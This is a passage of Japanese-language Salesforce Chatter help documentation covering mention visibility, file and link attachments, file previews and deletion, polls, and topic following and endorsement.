Manager Edition、および
Developer Edition

更新でユーザまたはグループを @メンションする場合、その更新へのアクセス
権を持つすべてのユーザは、投稿およびすべてのコメントを表示できます。
次の表に、ユーザ、公開グループ、非公開グループにメンションしている投稿
およびコメントをどこで見つけることができるのかを示します。顧客を含む非
公開グループおよびリストに記載しないグループには、メンションできません。

投稿およびコメントを参照できるユー
ザ

メンション先投稿が行われた場所

ユーザのプロファイルへのアクセス権
を持つユーザ。

他のユーザユーザのプロファイ
ル

ユーザのプロファイルへのアクセス権
を持つユーザ。

公開グループ

非公開グループのメンバーではない場
合でも、ユーザのプロファイルへのア
クセス権を持つユーザ。

非公開グループ

公開グループ A へのアクセス権を持つ
ユーザ。

他のユーザ公開グループ A

公開グループ A へのアクセス権を持つ
ユーザ。

公開グループ B

非公開グループのメンバーではない場
合でも、公開グループ A へのアクセス
権を持つユーザ。

非公開グループ

非公開グループ A のメンバー。他のユーザ非公開グループ A

非公開グループ A のメンバー。公開グループ

非公開グループ B のメンバーではない
場合でも、非公開グループ A のメン

非公開グループ B

バー。両方の非公開グループのメン
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投稿およびコメントを参照できるユーザメンション先投稿が行われた場所

バーは、非公開グループ B のフィードの投稿も参照
できます。

リストに記載しないグループ A のメンバーと「リス
トに記載しないグループの管理」権限を持つユーザ。

他のユーザリストに記載しないグルー
プ A

リストに記載しないグループ A のメンバーと「リス
トに記載しないグループの管理」権限を持つユーザ。

公開グループ

リストに記載しないグループ A のメンバーであり、
「リストに記載しないグループの管理」を持つ、非
公開グループ B のメンバー。

非公開グループ B

レコードへの共有アクセス権を持つユーザ。他のユーザレコード詳細ページ

レコードへの共有アクセス権を持つユーザ。公開グループ

非公開グループのメンバーではない場合でも、レコー
ドへの共有アクセス権を持つユーザ。

非公開グループ

投稿およびコメントの表示は、投稿への共有アクセス権によって異なります。元の投稿へのアクセス権があれ
ば、投稿のすべての後続のコメントにもアクセスできます。

私の添付ファイルとリンクを参照できるユーザは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ファイルやリンクを投稿またはコメントに添付して他のユーザと共有します。
投稿およびコメントへのリンクとファイルの添付は、デバイス、Salesforce Files、
Files Connect 外部ソース、Salesforce CRM Contentライブラリから行います。Microsoft®

PowerPoint のプレゼンテーションや Excel スプレッドシートから、Adobe® PDF や画
像ファイルまで、あらゆるファイル形式をサポートします。音声ファイルと動
画ファイルのアップロードやダウンロードは可能ですが、解析またはプレビュー
はできません。
次の表では、添付したファイルを表示できるユーザと表示される場所について
説明します。

ファイルの表示場所ファイルを表示できる
ユーザ

ファイルの添付先

社内のすべての Chatter

ユーザ
Chatter フィード上 • 自分および自分をフォ

ローしている人の
Chatterフィードおよび
プロファイル

• 社内のすべてのChatter

ユーザの [ファイル] リ
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ファイルの表示場所ファイルを表示できるユーザファイルの添付先

ストと Salesforce CRM Content

社内のすべての Chatter ユーザ自分の Chatter プロファイル、また
は他のユーザの Chatter プロファイ
ル

• 自分のフィード、自分をフォ
ローしている人のフィード、他
のユーザのフィード、およびそ
のユーザをフォローしている人
のフィードおよびプロファイル

• プロファイルの [所有ファイル]

リスト
• 社内のすべての Chatter ユーザの

[ファイル] リストとSalesforce CRM
Content

社内のすべての Chatter ユーザ公開グループ • 自分のフィード、自分をフォ
ローしている人のフィード、お
よびグループメンバーのフィー
ド

• 自分のプロファイルの自分の
フィード

• グループのフィード
• グループの [グループファイル]

リスト
• 社内のすべての Chatter ユーザの

[ファイル] ページとSalesforce CRM
Content

グループのメンバー、「すべての
データの編集」権限と「すべての
データの参照」権限を持つユーザ

自分がメンバーになっている非公
開グループ

• 自分のフィードおよびグループ
メンバーのフィード

• 自分のプロファイルの自分の
フィード

• グループのフィード
• グループの [グループファイル]

リスト
• 自分の [ファイル] リスト、グ

ループメンバーの [ファイル] リ
スト、および Salesforce CRM
Content

グループのメンバーと「リストに
記載しないグループの管理」権限
を持つユーザ

自分がメンバーになっているリス
トに記載しないグループ

• 自分のフィードおよびグループ
メンバーのフィード
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ファイルの表示場所ファイルを表示できるユーザファイルの添付先

• 自分のプロファイルの自分の
フィード

• グループのフィード
• グループの [グループファイル]

リスト
• 自分の [ファイル] リスト、グ

ループメンバーの [ファイル] リ
スト、および Salesforce CRM
Content

レコードへの共有権限を持つユー
ザ

レコード • レコード詳細ページ
• 自分のプロファイルページ
• フィード検索結果
• [すべての会社] または [会社の特

長] フィード

関連トピック:

投稿の表示

ファイルまたはリンクの添付

投稿またはコメントへのファイルの添付

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce またはコンピュータからファイルとリンクを投稿またはコメントに添
付して他のユーザと共有します。
Microsoft® PowerPoint プレゼンテーションや Excel スプレッドシートから、Adobe®

PDF、画像ファイル、音声ファイル、動画ファイルまで、あらゆるファイル形式
を添付できます。最大ファイルサイズは 2 GB です。
ファイルを添付する場合、次の点に留意してください。
• ファイルがフィードに投稿されると、ファイルが当初非公開に設定されてい

ても、会社内の全員が投稿を表示できます。非公開グループに投稿された
ファイルのみが、そのグループ内で非公開に保たれます。

• ファイルをグループまたはライブラリから添付すると、そのファイルへの参
照が作成されます。Salesforce CRM Content のファイルを更新した場合は、更新
もフィードに反映されます。

• Lightning Experience では、最大 10 個のファイルをフィード投稿に添付できま
す。
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• 外部データソースからファイルを投稿できます。ファイルセレクタから外部ソースを選択し、フォルダか
ら投稿するファイルに移動します。対応する外部ファイルの新しいファイル参照またはコピーが Salesforce

で作成されます。選択したファイルのファイル参照がすでに存在している場合は、再利用されます。
1. 投稿にファイルを添付するにはフィード上部の [ファイル] をクリックし、コメントにファイルを添付する

にはコメントの下にある [ファイル添付] をクリックします。
ファイルのフィード追跡による更新に対してコメントする場合、[ファイル添付] オプションは使用できま
せん。

2. 次のいずれかの操作を実行します。
• すでに Salesforce にアップロードされているファイル、Salesforce Files Syncフォルダから同期されているファ

イル、または Files Connect 外部データソースに存在するファイルを添付するには、[Salesforce からファイ
ルを選択] をクリックします。

• コンピュータから新しいファイルを添付するには、[コンピュータからファイルをアップロード] をク
リックします。

3. 添付するファイルを参照します。
リンク、Googleドキュメント、[ドキュメント] タブのドキュメント、[メモと添付ファイル] 関連リストの添
付ファイルは [添付するファイルを選択] リストには含まれません。添付するファイルの検索についての詳
細は、「Chatter フィードに添付するファイルの検索」を参照してください。

4. ファイルに関する投稿またはコメントを追加します。
テキストを入力しない場合、一般的な更新が添付ファイルと共に投稿されます。

5. テキストボックスの下の[私をフォローしている人]を選択して、プロファイルに投稿を公開します。グルー
プに投稿する場合は、[グループ] を選択します。[グループを検索] 項目にグループ名の一部を入力し、ド
ロップダウンリストからグループを選択します。選択できるのは所属するグループのみです。

6. [共有] をクリックします。

関連トピック:

アップロードとファイル共有の概要
新しいバージョンのファイルのアップロード
Files Connect を使用した外部ファイルのアクセスおよび共有
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Chatter フィードに添付するファイルの検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

所有し、アクセス権を持つ Salesforce ファイルのリストをファイルセレクタで表
示できます。Salesforce Classic では、フィードの上にある [ファイル] をクリック
し、Salesforce からファイルを選択します。Lightning Experienceでは、投稿の下にあ
るクリップアイコンをクリックして [ファイルを選択] ウィンドウを開きます。
デフォルトで最近参照した 25 ファイルが一覧表示されます。
ファイルセレクタから特定のファイルグループを表示および検索するには、サ
イドバーで特定のフィルタをクリックします。
• すべてのファイル — 次のファイルを含む、所有しているか、アクセス権を

持つすべてのファイルが表示されます。
– 自分と共有しているファイル
– 自分がフォローしているファイル
– Chatter グループ内のファイル
– ライブラリ内のファイル
– 他のユーザにより Chatter  フィードに添付されるファイル。自分がメンバーになっているすべての公開

グループおよび非公開グループに添付されるファイルを含みます。自分がメンバーではない非公開グ
ループに添付されるファイルにはアクセスできません。

この検索条件は、Salesforce Classic でのみ使用できます。
• 最近 — 最近参照したファイルが表示されます。
• 私のファイル — 自分が所有、共有、またはフォローしているすべてのファイル。

– 自分が所有者 — 次のファイル。
• ホームまたは [ファイル] ページにファイルをアップロードしたファイル。これらのファイルは非公

開であり、誰とも共有されませんが、表示、共有、Chatter フィードへの添付を行うことができます。
• コンピュータから Chatter フィードに添付したファイル。
• Salesforce Files Sync フォルダを使用して同期したファイル。
• 自分がメンバーになっている Salesforce CRM Content ライブラリおよび自分の非公開ライブラリにアッ

プロードしたファイル。
– 自分と共有されている — 自分と非公開で共有しているファイルまたはプロファイルへの公開投稿で共

有しているすべてのファイル。
– フォローしている — 自分がフォローしているすべてのファイル。(Chatter が必要)

• 私のグループ内のファイル — 自分と他の人が自分がメンバーになっているグループと共有しているすべて
のファイル。最後にアクセスした 5 グループが一覧表示されます。

• 私のライブラリ内のファイル — 自分がメンバーになっているライブラリに自分と他のユーザがアップロー
ドしたすべてのファイルと、自分の非公開ライブラリに自分がアップロードしたすべてのファイル。自分
の非公開ライブラリも含めて、自分がメンバーになっている最初の 5 ライブラリが一覧表示されます。自
分が 5 つを超えるライブラリのメンバーになっている場合、[さらに表示]をクリックすると、すべて表示さ
れます。

• 同期済み — Salesforce Files Syncフォルダ内で同期されているすべてのファイル。この条件を使用できるのは、
「ファイルを同期」権限を持つユーザのみです。
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• 外部ファイル — Files Connect 外部データソース内のアクセス権を持つすべてのファイル。検索は選択した外
部データソースに限定されます。

メモ:

• 自分がメンバーであり、ライブラリ権限定義の [コンテンツを Chatter フィードに投稿] または [ラ
イブラリの管理] チェックボックスがオンになっているライブラリのファイルのみが表示されます。

• 「ファイルを同期」権限を持つユーザには、[すべてのファイル]、[私のファイル]、または[私のグルー
プ内のファイル]検索条件は表示されません。「ファイルを同期」権限のないユーザには、[同期済み]

検索条件は表示されません。

検索ボックスからファイルを検索する手順は、次のとおりです。
1. 必要に応じて、サイドバーにある条件をクリックし、検索対象を特定のファイルセットに限定します。
2. [検索] ボックスに検索語を入力します。検索は、ファイル名、説明、所有者、種類を基準に行うか、ファ

イルのテキスト内で行うことができます。
3. [検索] をクリックすると、検索語に基づいてフィルタされたすべての関連ファイルが表示されます。また

は、 をクリックすると、検索語がクリアされます。
[添付するファイルを選択] リストに次は含まれません。
• [ドキュメント] タブのドキュメント。
• [メモと添付ファイル] 関連リストの添付ファイル。
• Chatter の投稿に添付されたリンク。
• 個人ライブラリのファイル。

関連トピック:

ファイルの検索

Chatter フィードのファイルに対する操作の実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

フィードのファイルに対して次の操作を実行できます。
• プレビュー — サムネイルをクリックするか、ファイルの横にある [追加アク

ション] > [プレビュー] をクリックします。
• ダウンロード — ファイルの横にある [追加アクション] > [ ダウンロード]を

クリックします。
• 新しいバージョンのアップロード — ファイルの横にある[追加アクション] >

[新しいバージョンをアップロード] をクリックします。
• ファイルの詳細ページの表示 — ファイル名またはファイルの横にある [追加

アクション] > [ファイルの詳細を表示] をクリックします。
• フォローする — ファイルの横にある [ フォロー]をクリックすると、Chatter

フィードのファイルに関する更新を受信できます。 をクリックすると、
ファイルに関する更新の受信を停止できます。

• 共有 — ファイルの横にある [追加アクション] > [ファイルの共有設定] をク
リックすると、ユーザまたはグループと、あるいはリンクを使用してファイルを共有できます。
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• 「ファイルを同期」権限があり、ファイルの所有者である場合、コンピュータの Salesforce Files Sync フォル
ダとChatter間でファイルを同期するには、 [同期]をクリックします。ファイルの同期を停止するには、

[同期を解除] をクリックします。
ファイルに対して誰がどのような操作を実行できるかについての詳細は、「私のファイルを参照できるユーザ
は?」を参照してください。

関連トピック:

ファイルの詳細の表示
新しいバージョンのファイルのアップロード
ファイルが共有されている場所の表示

Chatter フィードでのファイルのダウンロードと表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter フィードに投稿したファイルは、ダウンロードして保存できるだけでな
く、ダウンロードせずにブラウザでプレビューすることもできます。
Chatter には、ファイルをダウンロードしてプレビューできる場所が次のように
いくつかあります。
• [ファイル]ページ — [ ] > [ ダウンロード]をクリックするか、ファイルの

横にあるプレビュー ( ) アイコンをクリックします。
• Chatter フィード — ファイルの横にある [追加アクション] > [ ダウンロード]

をクリックします。またはファイルをプレビューするには、ファイルのサム
ネイルをクリックするか、[追加アクション] > [ プレビュー] をクリックし
ます。

• プロファイルのリスト別の [所有ファイル] — [ ] > [ ダウンロード] をク
リックするか、ファイルの横にあるプレビュー ( ) アイコンをクリックし
ます。

• グループの [共有ファイル] リスト — [ ] > [ ダウンロード]をクリックするか、ファイルの横にあるプレ
ビュー ( ) アイコンをクリックします。

• レコードの [メモと添付ファイル] 関連リストでは、フィードの添付ファイルの横にある [ダウンロード] を
クリックしてファイルをプレビューするか、フィード添付ファイルの横にある [プレビュー] をクリックし
ます。

ファイルをプレビューすると、ブラウザで拡張ドキュメントビューアを使用してファイルが開きます。拡張ド
キュメントビューアには、ドキュメントを表示するための次の機能があります。
• ドキュメントツールバーで次のページ ( )、前のページ ( )、最初のページ ( )、最後のページ ( ) の

各アイコンを使用する他に、右クリックして [次のページ]と [前のページ]を選択し、ドキュメントを 1 ペー
ジずつ移動できます。

• スクロールバーを使用すると、[次のページ] および [前のページ] アイコンをクリックしなくても、ドキュ
メント内を連続して移動できます。PowerPoint ファイルでは、連続してスクロールすることはできません。

• ページ項目にページ番号を入力して Enter キーをクリックすると、そのページに直接ジャンプできます。
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• 右クリックメニューから [幅を合わせる]を選択するとドキュメントの幅を拡張でき、[ページ全体を合わせ
る] を選択するとドキュメントのページ全体をプレビューできます。幅全体表示アイコン ( ) とページ全
体表示アイコン ( ) は、ツールバーにもあります。

• 右クリックメニューから [全画面] を選択するとドキュメントを全画面モードでプレビューでき、[終了] を
選択すると全画面モードを終了できます。全画面アイコン ( ) と終了アイコン ( ) は、ツールバーにも
あります。

• 右クリックメニューから [ズーム/イン]または [ズームアウト]を実行できます。拡大アイコン ( ) と縮小ア
イコン ( ) は、ツールバーにもあります。

• キーボードの矢印キーを使用して、ドキュメントを 1 ページずつ移動できます。ドキュメントビューアを
クリックして、次のようにキーを使用します。
– 右矢印キー: PowerPoint ドキュメントの次のスライドに移動、および PDF、Word または Excel ドキュメント

の次のページに移動します。
– 左矢印キー: PowerPoint ドキュメントの前のスライドに移動、および PDF、Word または Excel ドキュメント

の前のページに移動します。
– 上矢印キー: PowerPoint ドキュメントの前のスライドに移動、および PDF、Word または Excel ドキュメント

のページを上にスクロールします。
– 下矢印キー: PowerPoint ドキュメントの次のスライドに移動、および PDF、Word または Excel ドキュメント

のページを下にスクロールします。

メモ:

• 暗号化されたファイル、パスワードで保護されたファイル、コピー保護された PDF、不明なファイル
形式、25 MB を超えるファイルなど、プレビューできないファイルもあります。プレビューできない
ファイルについては、フィードやリストビューで [プレビュー] オプションを使用できません。また、
ファイルは汎用のファイル形式アイコンとしてフィードに表示されます。Microsoft Office 2007 機能の一
部はプレビューでは正しく表示されません。ファイルはプレビュー可能であるのにプレビューが存在
しない場合は、Salesforce システム管理者に問い合わせてください。プレビューを再生成できる可能性
があります。

• Internet Explorer 11 では、[プレビュー]オプションにより、ファイルの詳細ページにリダイレクトされま
す。

関連トピック:

私の添付ファイルとリンクを参照できるユーザは?

フィードからのファイルとリンクの削除
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フィードからのファイルとリンクの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter フィードからリンクを削除するには、その投稿を削除します。ファイル
を削除するには、ファイル詳細ページまたはコンテンツ詳細ページに移動しま
す。ファイル所有者のみがファイルを削除できます。「すべてのデータの編集」
権限を持つユーザは、すべてのコメント、投稿、ファイル、リンクを削除でき
ます。

レコードの Chatter フィードからのファイルの削除
レコードの Chatter フィードのファイルを削除するには、次の 2 つの方法があり
ます。
• 投稿を削除して、Chatterフィードのファイルを削除する方法。この操作によ

り、投稿が削除され、ファイルがフィードと [メモと添付ファイル] 関連リス
トから削除されますが、ファイルは元の場所に残ります。ファイルが他の場
所に投稿されていない場合、そのファイルは非公開に戻りますが、後で再び
共有できます。

• [メモと添付ファイル] 関連リストのフィード添付ファイルの横にある [削除]をクリックして、Chatterフィー
ドのファイルを削除する方法。このアクションにより、ファイルを共有していたすべてのChatterフィード、
および [メモと添付ファイル] 関連リストから、ファイルが削除されます。ファイルを復元するには、ごみ
箱をクリックしてファイルを選択し、[復元] をクリックします。コンピュータ、Chatter フィード、グルー
プ、または Salesforce CRM Content ライブラリからファイルを添付した場合は、[メモと添付ファイル] 関連リ
ストからファイルを削除すると投稿から削除されますが、元の場所からは削除されません。

Chatter フィードからのリンクの削除
Chatter フィードのリンクを削除するには、その投稿を削除する必要があります。

ファイル詳細ページからのファイルの削除
ファイルの詳細ページの[削除]をクリックして、ファイルを削除し、それを共有しているすべての場所からも
削除します。ファイルがリンクを使用して共有されている場合、リンクしている他のユーザはファイルにアク
セスできなくなります。削除されたファイルを復元するには、[ホーム]ページで [ごみ箱]リンクをクリックし
ます。ファイルを選択し、[復元]をクリックします。ファイルは復元され、ファイルに関連付けられていた共
有もすべて復元されます。

コンテンツの詳細ページからのファイルの削除
Chatter にファイルを投稿すると、ファイルは Salesforce CRM Content にも表示されます。Chatter、Salesforce CRM

Content、すべてのファイル共有場所からファイルを削除するには、[ライブラリ]、[コンテンツ]、または [登録]

タブでファイル名をクリックします。コンテンツの詳細ページから、ファイルを削除するには、[編集] > [コン
テンツの削除] をクリックします。コンテンツの詳細ページから Chatter ファイルを削除すると、Salesforce CRM
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Content および Chatter からそのファイルが削除されます。復元するコンテンツファイルのチェックボックスを
オンにし、[復元] をクリックします。

関連トピック:

投稿の表示

投稿へのリンクの添付

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

リンクを投稿に添付して他のユーザと共有します。
リッチメディアサポートを提供する URL を共有する場合、リンクしているコン
テンツのプレビューが投稿に表示されます。現在サポートされている URL につ
いての詳細は、「投稿内にプレビューを作成するサイト」を参照してください。
1. フィードの上にある [リンク] をクリックします。
2. 共有する URL を入力します。
3. 必要に応じて、[リンク名] を入力します。

[リンク名] 項目を空白のままにすると、プレビューにはサイト URL からタイ
トルまたは名前が表示されます。

4. 必要に応じて、投稿を入力します。
テキストを入力しないと、汎用的な更新がリンクと共に投稿されます。

5. テキストボックスの下の[私をフォローしている人]を選択して、プロファイルに投稿を公開します。グルー
プに投稿する場合は、[グループ] を選択します。[グループを検索] 項目にグループ名の一部を入力し、ド
ロップダウンリストからグループを選択します。選択できるのは所属するグループのみです。
他のユーザのプロファイルまたはレコードに投稿する場合、[私のフォローされている人] オプションおよ
び [グループ] オプションは使用できません。

6. [共有] をクリックします。

関連トピック:

投稿内にプレビューを作成するサイト
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投稿内にプレビューを作成するサイト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce では、400 を超える URL のリッチメディアサポートを提供しています。
投稿でサポート対象の URL を共有すると、投稿にリンク先コンテンツのプレ
ビューが表示されます。
Embed.ly (サードパーティのサービス) によって、動画へのリンクのサムネール、
説明、動画プレーヤーを含めたファイルのプレビューを実行します。投稿にリ
ンクがリッチプレビューとして表示されない場合、URL ドメインがサポートされ
ていないか、Embed.ly からプレビューコンテンツが返されていません。
コンテンツ、ユーザ、組織、取引先データは Embed.ly と共有されません。共有さ
れるのは Embed.ly のカスタムプロバイダホワイトリストにある URL のみです。ま
た、サードパーティの短縮ツール (bitly、goo.gl、tinyurl.com など) によって短縮さ
れた URL のバージョンもホワイトリストに含まれます。すべての URL 要求は
Salesforceプロキシ経由で渡されます。Embed.ly がクライアントから直接コールを
受け取ることはなく、したがって URL 要求を行ったユーザに関する情報を知る
ことはありません。

メモ: サポートされている URL のドメインの索引リストについては、「URL Domains for Rich Link Previews in

Feeds」を参照してください。

関連トピック:

投稿へのリンクの添付

アンケートの投稿

投票

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

アンケートを使用して調査を実施します。アンケートのフィード投稿には選択
肢のリストが含まれており、ユーザはそれらの選択肢の 1 つを選択することに
よって投票できます。
投票欄は、他のユーザの意見を取得する効果的な方法です。たとえば、年次販
売会議の計画を任されており、最も多くの人が会議に出席できる日を確認する
必要があるとします。販売組織内のすべての人にメールを送信する代わりに、
販売 Chatter グループにアンケートを作成して、そのアンケート内に開催可能日
をリストし、最も都合のよい日を各人にたずねることができます。
アンケートを作成すると、フィードまたはアンケートへのアクセス権を持つユー
ザは誰でもアンケートに投票できます。このため、投票欄を投稿するときには、
参加の対象者を考慮してください。たとえば、投票欄を非公開グループに投稿
すると、そのグループのメンバーのみが投票を確認でき、投票できます。投票
欄に関して、次の点に注意してください。
• 投票欄を作成する場合、最大 10 個の選択肢を追加できます。
• 投票欄への投票時に選択できるのは 1 つの選択肢のみです。
• 投票は匿名です。投票した人数を把握することはできますが、誰が投票したかは表示されません。
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• [更新] をクリックすると、アンケートの最新の結果と投票数を表示できます。
• 投票欄は再投稿できません。
• ユーザが投票できるのは 1 票のみですが、投票を変更することもできます。
• 投稿欄の質問で他のユーザにメンションしたり、ハッシュタグトピックを含めるたりすることができます。
• 自分と他のユーザは、投稿後に投票欄の質問にトピックを追加できます。
• Chatter のメール設定で有効化したメール通知オプションは、投稿とまったく同様にアンケートに適用され

ます。たとえば、自分が行った投稿に他のユーザがコメントするたびに通知を受け取る場合、自分が投稿
したアンケートに他のユーザがコメントした場合にもメール通知を受け取ります。

メモ: 投票結果は丸め処理されるため、必ずしも合計が 100% になるとは限りません。たとえば、アンケー
トに 3 つの選択肢が設定されており、それぞれに 1 票ずつ投票されている場合、結果は合計 99% になりま
す。

関連トピック:

投稿やコメントへのいいね!

アンケートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザの意見を収集するには、フィードにアンケートを投稿します。
1. フィードの上にある [アンケート] をクリックします。
2. テキストボックスに質問を入力します。

ハッシュタグを追加したり、他のユーザにメンションしたりします。
3. 少なくとも 2 つの選択肢を入力してください。

選択肢をさらに追加するには、[選択肢をさらに追加] をクリックします。最
大 10 個の選択肢を入力できます。

4. フォロワーまたはグループのどちらに投票欄を投稿するのかを選択します。
グループに投票欄を投稿するときは、ドロップダウンリストからグループの
名前を選択します。

5. [共有] をクリックして、投票欄を投稿します。

関連トピック:

アンケートに投票する
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アンケートに投票する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

1. アンケートを含む投稿では、自分の選択肢を選択します。
選択できるのは 1 つの選択肢のみです。

2. [投票] をクリックします。
投稿には投票の現在の結果が表示されます。自分が行った投票を変更するに
は、[投票を変更] をクリックして、新しい選択肢を選択します。

メモ: 投票結果は丸め処理されるため、必ずしも合計が 100% になるとは限
りません。たとえば、アンケートに 3 つの選択肢が設定されており、それ
ぞれに 1 票ずつ投票されている場合、結果は合計 99% になります。

関連トピック:

アンケートの作成

トピックによる投稿の分類

すべてのトピックの参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

トピックリストは、組織内で話されているトピックを検出するために使用しま
す。すべてのトピック名は、非公開グループおよびレコードでのみ使用される
ものも含め、トピックリストに表示されます。
トピックリストを参照するには、Chatterページの左側で、 [トピック]をクリッ
クします。
トピックリストでは、次の操作を実行できます。
• トピック名をクリックして、トピックの詳細ページを表示する。
• [フォローする] をクリックして Chatter フィードで更新を確認する。
• トピックのリストをフィルタし、検索範囲を狭める。
• トピックを名前で検索する。

ヒント: トピック名および説明を検索するには、グローバル検索を使用
します。
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トピックリストを並び替えるためのフィルタ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

トピックフィルタを使用してお気に入りのトピックまたは使用するトピックに
トピックリストを絞り込み、トピックについて話している人数またはアルファ
ベット順の名前でトピックを並び替えます。
トピックリストの [表示] で、トピックをフィルタすることができます。
すべて

組織で投稿に追加されたすべてのトピック
私のお気に入り

お気に入りに追加されたトピック
使用するトピック

投稿に追加されたトピックおよびコメントした投稿のトピック
フィルタされたトピックは、次の列で並び替えることができます。
このトピックについて話しているユーザ

トピックについて話している人数で並び替えます。具体的には次のとおりです。
• トピックを更新に追加している人数
• トピックの投稿にコメントしている人数

名前
トピック名でアルファベット順に並び替えます。
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トピックに関する詳細の表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

投稿およびコメントに既
存のトピックを追加する
• 「トピックの割り当

て」

トピックの名前と説明を
編集する
• 「トピックの編集」

トピックの詳細ページを表示して、トピックの説明と、すべてのユーザや公開
グループからのトピックの更新を含むフィードを確認できます。
トピックの詳細ページを開くには、トピックまたはハッシュタグをクリックし
ます。トピックの詳細ページでは、次の操作を実行できます。
• トピックフィードを検索して、関連情報をすばやく見つける。または、フィー

ドをスキャンして、トピックについての詳細を表示したり、そのトピックに
関心を持っているユーザや公開グループを検出します。

• トピックフィードに投稿を直接追加する。投稿は、フォロワーに自動的に表
示されるほか、@ メンションを使用して、自分がメンバーとなっているグ
ループに追加することもできます。トピックフィードで投稿を追加したた
め、トピックはあなたの投稿に自動的に追加されます。

• トピックに関する知識のあるユーザを見つけて支持する。[知識のあるユー
ザ] リストに自分が表示されている場合、必要に応じて自分を非表示にでき
ます。

• [フォローする] をクリックして、トピックをフォローし、フィードでト
ピックの更新を確認する。

• トピック名や説明を編集する。右上の をクリックして、[詳細を編集] を選
択します。トピック名で変更できるのは、大文字と小文字およびスペースの
みです。

メモ: トピック名や説明は非公開グループおよびレコードでのみ表示さ
れますが、非公開ではありません。トピックがある投稿およびレコード
のセキュリティとプライバシーは、トピックがない投稿およびレコード
のものと同じです。

• 右側のリストを使用して、トピックに関する詳細を確認する (使用可能な場合)。
関連トピック

現在のトピックと一緒に追加された他のトピック。
最近のファイル

トピックフィードに最近投稿され、アクセス権のあるファイル。
話しているグループ

公開グループ、およびトピックを最近使用し自分がメンバーとなっているグループ。
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トピックのフォロー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

トピックをフォローして、自分の Chatter フィードに更新を表示できるようにし
ます。
トピックをフォローするには、次の場所で [フォローする] をクリックしま
す。
• トピックの詳細ページ
• トピックリスト
合計で最大500の人、トピック、およびレコードをフォローできます。自分が何
件の項目をフォローしているかを確認するには、プロファイルの [フォローして
いる人] リストを表示します。
トピックのフォローを停止するには、次の場所で [フォローする] の横にある
をクリックします。トピックのフォローを停止すると、それ以降 Chatter フィー
ドにはトピックの更新は表示されません。
システム管理者がトピックのフィード追跡を無効にすると、新しいトピックをフォローできなくなりますが、
フィード追跡が有効だったときにフォローしていたトピックは引き続きフォローできます。このようなトピッ
クは、フォローできるユーザ、トピックおよびレコードの最大数に対してカウントされます。システム管理者
がフィード追跡を無効にした後でトピックのフォローを停止するには、Chatter REST API を使用する必要があり
ます。

トピックに関する知識のあるユーザの検索と支持

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

トピックページの [知識のあるユーザ] セクションとユーザプロファイルページ
の [概要] タブを使用してエキスパートを検索し、評価できます。
トピックページには、トピックに関する活動とトピックに対して受けたレコグ
ニションに基づいて、最も知識のあるユーザ 5 人が表示されます。たとえば、
Chatter では以下の頻度が考慮されます。
• トピックに関連する投稿または投稿に対するコメントでユーザがメンション

された頻度
• トピックに関連する投稿に対するコメントでユーザがいいね! を受信した頻

度
• トピックに対してユーザが支持を受けた頻度

支持は知識があることの強い裏付けになるため、他のユーザに支持される
と、自動的に知識のあるユーザのリストに追加されます。

メモ: 知識のあるユーザは、1 日に 1 回評価および更新されます。
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支持を変更する手順は、次のとおりです。
• トピックに関する知識があると思うユーザを支持するには、そのユーザの名前の下にある [支持] をクリッ

クします。支持したいユーザが [知識のあるユーザ] セクションに表示されていない場合は、[ユーザを支持]

をクリックして完全なリストを表示し、他のユーザを検索します。(自分自身、Chatter Free ユーザ、顧客を
支持することはできません)。

